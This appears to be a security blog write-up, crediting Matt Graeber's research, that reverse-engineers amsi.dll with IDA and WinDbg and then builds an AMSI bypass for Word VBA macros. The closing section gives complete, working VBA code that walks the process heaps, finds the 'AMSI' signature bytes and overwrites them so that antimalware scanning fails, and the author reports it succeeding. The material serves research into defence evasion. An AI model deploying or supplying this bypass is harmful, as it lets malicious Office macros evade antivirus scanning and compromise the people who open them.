This write up is based upon the work of Matt Graeber @Mattifestation
https://gist.github.com/mattifestation/ef0132ba4ae3cc136914da32a88106b9
Tools Used
IDA
https://www.hex-rays.com/products/ida/support/download_freeware/
Windbg
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
If we load up amsi.dll in IDA or equivalent tool and start looking at AmsiScanBuffer we can see that there is a check to see if the value which is pointed to via rbx equals 49534D41h (AMSI).
If this value doesn’t match (jnz) then something went wrong and bail.

If we look at AmsiInitialize we can see that the value 49534D41h gets added to to Heap by the use of CoTaskMemAlloc
If we refer to MSDN
https://docs.microsoft.com/en-us/windows/win32/learnwin32/memory-allocation-in-com
We can see CoTaskMemAlloc is part of a pair of functions for allocating and freeing memory on the heap.

In order to analyse the above with WinDbg we need to set a few things up. The first is, we need to be able to trigger AMSI with Word/VBA so that we can trigger a breakpoint.
Code which is sufficient to trigger AMSI can be found below.
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Sub TriggerAmsi()
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
AmsiScanBufferAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer")
result = VirtualProtect(ByVal AmsiScanBufferAddr, 1, 64, 0)
End Sub
When executing the above code you should get the all too familiar

We can now move on and look at this in WinDbg.
Firstly attach WinDbg to WINWORD.EXE
For anyone new to this, File/Attach to a Process – Select WINWORD.EXE from the list of processes and then select OK.


Next lets see where Amsi is by typing
x amsi!amsi* then enter into the command window

If we use the command u we can unassemble the lines of code at an address.
Therefore we use
u AmsiScanBufferAddress l100
If we look through the code we can see the cmp which looks for AMSI. We set a breakpoint here
bp 715a45fd
and then press F5 to resume code execution and then go back to our module.
Once we execute our module, our breakpoint triggers.
If we use d esi we can see the contents of the memory which is being pointed to.


Pressing p (to step) and enter takes us to our next line of code which is the jne statement. br=0 indicates that the jump is not taken.
For testing purposes, we’re going to force the jump by modifying the code.
We use the a command with the memory address of the code we want to change, followed by enter.
We then enter the new instructions, followed by enter and enter.
If we now press F5 to resume execution or just detach the debugger we can see that if this check fails it is enough for a bypass.
This bypass is achieved by walking the Heap and finding the value of AMSI. We then need to corrupt this value which should be enough for the cmp check to fail.
If we look to MSDN for help on the HEAP we can see all the header information on this page
https://docs.microsoft.com/en-us/windows/win32/api/heapapi/
It conveniently also provides an example of enumerating the heap
https://docs.microsoft.com/en-us/windows/win32/memory/enumerating-a-heap
The Heap functions which are going to be of interest are
GetProcessHeaps
HeapWalk
and to copy our replacement bytes to memory we’re going to use
Here’s the code to do all this which is commented. See it also on my Git
Private Type PROCESS_HEAP_ENTRY
lpData As Long
cbData As Long
cbOverhead As Byte
iRegionIndex As Byte
wFlags As Integer
dwCommittedSize As Long
dwUnCommittedSize As Long
lpFirstBlock As Long
lpLastBlock As Long
End Type
Private Const PROCESS_HEAP_ENTRY_BUSY As Long = &H4
Private Const CRYPT_STRING_BINARY As Long = 2
Private Declare PtrSafe Function GetProcessHeaps Lib "kernel32" (ByVal NumberOfHeaps As Long, ByRef ProcessHeaps As Any) As Long
Private Declare PtrSafe Function HeapWalk Lib "kernel32" (ByVal hHeap As Long, ByRef lpEntry As PROCESS_HEAP_ENTRY) As Long
Private Declare PtrSafe Function ToString Lib "crypt32.dll" Alias "CryptBinaryToStringA" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, ByRef pcchString As Long) As Long
Sub HeapsOfFun()
Dim ProcessHeaps As Long
Dim NumberOfHeaps As Long
Dim PHE As PROCESS_HEAP_ENTRY
Dim ReadBuffer As Long
Dim WriteBuffer As Long
'The value that we're going to write on the heap
WriteBuffer = &HFFFFFFFF
NumberOfHeaps = GetProcessHeaps(1, ProcessHeaps)
'Debug.Print Str(NumberOfHeaps) & " Handles to heaps that are active for the calling process"
If NumberOfHeaps > 0 Then
retval = HeapWalk(ProcessHeaps, PHE)
'retval of 0 means failure
If retval > 0 Then
Do While HeapWalk(ProcessHeaps, PHE) <> 0
'If PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) is not equal to 0 it means that we have an Allocated block
If ((PHE.wFlags And PROCESS_HEAP_ENTRY_BUSY) <> 0) Then
'Copy the 4 bytes from PHE.lpData into ReadBuffer
ToString ByVal PHE.lpData, ByVal 4, CRYPT_STRING_BINARY, ByVal VarPtr(ReadBuffer), ByVal VarPtr(Len(ReadBuffer))
'If ReadBuffer equals AMSI
If ReadBuffer = &H49534D41 Then
Debug.Print "Pesky AMSI Bytes found on the Heap at: " & Hex(PHE.lpData)
'Copy the 4 bytes FFFFFFFF into the location of PHE.lpData which is where we found AMSI
ToString ByVal VarPtr(WriteBuffer), ByVal 4, CRYPT_STRING_BINARY, ByVal PHE.lpData, ByVal VarPtr(Len(PHE.lpData))
Debug.Print "Replaced Pesky Bytes found on the Heap at: " & Hex(PHE.lpData) & " with " & Hex(WriteBuffer)
'We've done what we came to do, exit the loop
Exit Do
End If
End If
Loop
End If
End If
End Sub
If we execute the above code we get the following results

We can confirm with WinDbg that our code has been successful too.
